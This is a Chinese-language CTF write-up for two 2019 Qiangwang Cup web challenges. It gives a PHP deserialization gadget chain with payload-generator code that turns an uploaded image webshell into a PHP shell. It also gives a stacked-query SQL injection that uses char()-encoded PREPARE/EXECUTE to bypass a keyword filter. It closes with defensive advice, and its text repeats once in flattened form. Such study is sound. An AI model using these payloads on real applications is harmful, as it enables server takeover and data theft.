2019强网杯Web部分Writeup
字数 1031 2025-08-18 11:38:41

强网杯2019 Web题目解析与漏洞利用教学

1. Upload题目分析

1.1 题目概述

题目提供了一个具有注册、登录和图片上传功能的Web应用,目标是利用漏洞获取服务器shell。

1.2 漏洞发现过程

  1. 初始分析

    • 只能上传图片马,无法直接利用
    • 通过抓包发现cookie包含序列化内容
    • 目录探测发现www.tar.gz源码包
  2. 源码审计

    • 发现关键文件:
      • web/controller/Index.php
      • web/controller/Profile.php
      • web/controller/Register.php
  3. 关键代码分析

    • upload_img()函数中的文件操作:
      if(getimagesize($this->filename_tmp)){
          @copy($this->filename_tmp, $this->filename);
          @unlink($this->filename_tmp);
      

1.3 漏洞利用链

  1. 反序列化利用

    • 通过控制cookie中的序列化数据触发漏洞
    • 利用__destruct()__call()__get()魔术方法构造调用链
  2. 攻击链

    Register->__destruct()
    Profile->__call()
    Profile->__get()
    Profile->upload_img()
    
  3. 关键绕过

    • 通过设置类属性绕过检查:
      public $checker=0;
      public $filename_tmp="原图片路径";
      public $filename="目标php路径";
      

1.4 漏洞利用代码

<?php
namespace app\web\controller;

class Profile{
    public $checker=0;
    public $filename_tmp="../public/upload/.../原图片.png";
    public $filename="../public/upload/.../shell.php";
    public $upload_menu;
    public $ext=1;
    public $img;
    public $except=array('index'=>'upload_img');
}

class Register{
    public $checker;
    public $registed=0;
}

$a=new Register();
$a->checker=new Profile();
$a->checker->checker = 0;
echo base64_encode(serialize($a));
?>

1.5 利用步骤

  1. 上传图片马
  2. 使用生成的payload替换cookie
  3. 刷新页面触发反序列化
  4. 访问生成的php文件获取shell

2. 随便注题目分析

2.1 题目概述

SQL注入题目,过滤了select|update|delete|drop|insert|where|.等关键词。

2.2 绕过技术

  1. 堆叠注入:使用;执行多条SQL语句
  2. 字符拼接:使用char()函数绕过关键词过滤
  3. 预处理语句:利用PREPAREEXECUTE执行动态SQL

2.3 利用脚本

payload = "0';set @s=concat(%s);PREPARE a FROM @s;EXECUTE a;"
exp = "select flag from `1919810931114514`"
res = ''
for i in exp:
    res += "char(%s),"%(ord(i))
my_payload = payload%(res[:-1])
print(my_payload)

2.4 利用步骤

  1. 获取表名

    ?inject=0';set @s=concat(char(115),char(101),...);PREPARE a FROM @s;EXECUTE a;
    
  2. 获取字段名

    ?inject=0';set @s=concat(char(115),char(101),...);PREPARE a FROM @s;EXECUTE a;
    
  3. 获取flag

    ?inject=0';set @s=concat(char(115),char(101),...);PREPARE a FROM @s;EXECUTE a;
    

3. 关键知识点总结

  1. PHP反序列化漏洞

    • 魔术方法的利用(__destruct, __call, __get)
    • 属性控制绕过安全检查
    • 反序列化触发文件操作
  2. SQL注入绕过技术

    • 堆叠注入
    • 字符编码绕过
    • 预处理语句利用
    • 反引号绕过表名限制
  3. 文件上传漏洞

    • 图片马利用
    • 文件操作函数滥用(copy, unlink)
    • 路径控制
  4. 源码审计技巧

    • 目录探测
    • 魔术方法分析
    • 函数调用链追踪

4. 防御建议

  1. 反序列化防御

    • 避免反序列化用户输入
    • 使用白名单限制可反序列化的类
    • 对魔术方法进行安全审查
  2. SQL注入防御

    • 使用预处理语句
    • 严格过滤特殊字符
    • 最小权限原则
  3. 文件上传防御

    • 严格检查文件类型和内容
    • 限制上传目录执行权限
    • 重命名上传文件
强网杯2019 Web题目解析与漏洞利用教学 1. Upload题目分析 1.1 题目概述 题目提供了一个具有注册、登录和图片上传功能的Web应用,目标是利用漏洞获取服务器shell。 1.2 漏洞发现过程 初始分析 : 只能上传图片马,无法直接利用 通过抓包发现cookie包含序列化内容 目录探测发现 www.tar.gz 源码包 源码审计 : 发现关键文件: web/controller/Index.php web/controller/Profile.php web/controller/Register.php 关键代码分析 : upload_img() 函数中的文件操作: 1.3 漏洞利用链 反序列化利用 : 通过控制cookie中的序列化数据触发漏洞 利用 __destruct() 、 __call() 和 __get() 魔术方法构造调用链 攻击链 : 关键绕过 : 通过设置类属性绕过检查: 1.4 漏洞利用代码 1.5 利用步骤 上传图片马 使用生成的payload替换cookie 刷新页面触发反序列化 访问生成的php文件获取shell 2. 随便注题目分析 2.1 题目概述 SQL注入题目,过滤了 select|update|delete|drop|insert|where|. 等关键词。 2.2 绕过技术 堆叠注入 :使用 ; 执行多条SQL语句 字符拼接 :使用 char() 函数绕过关键词过滤 预处理语句 :利用 PREPARE 和 EXECUTE 执行动态SQL 2.3 利用脚本 2.4 利用步骤 获取表名 : 获取字段名 : 获取flag : 3. 关键知识点总结 PHP反序列化漏洞 : 魔术方法的利用( __destruct , __call , __get ) 属性控制绕过安全检查 反序列化触发文件操作 SQL注入绕过技术 : 堆叠注入 字符编码绕过 预处理语句利用 反引号绕过表名限制 文件上传漏洞 : 图片马利用 文件操作函数滥用( copy , unlink ) 路径控制 源码审计技巧 : 目录探测 魔术方法分析 函数调用链追踪 4. 防御建议 反序列化防御 : 避免反序列化用户输入 使用白名单限制可反序列化的类 对魔术方法进行安全审查 SQL注入防御 : 使用预处理语句 严格过滤特殊字符 最小权限原则 文件上传防御 : 严格检查文件类型和内容 限制上传目录执行权限 重命名上传文件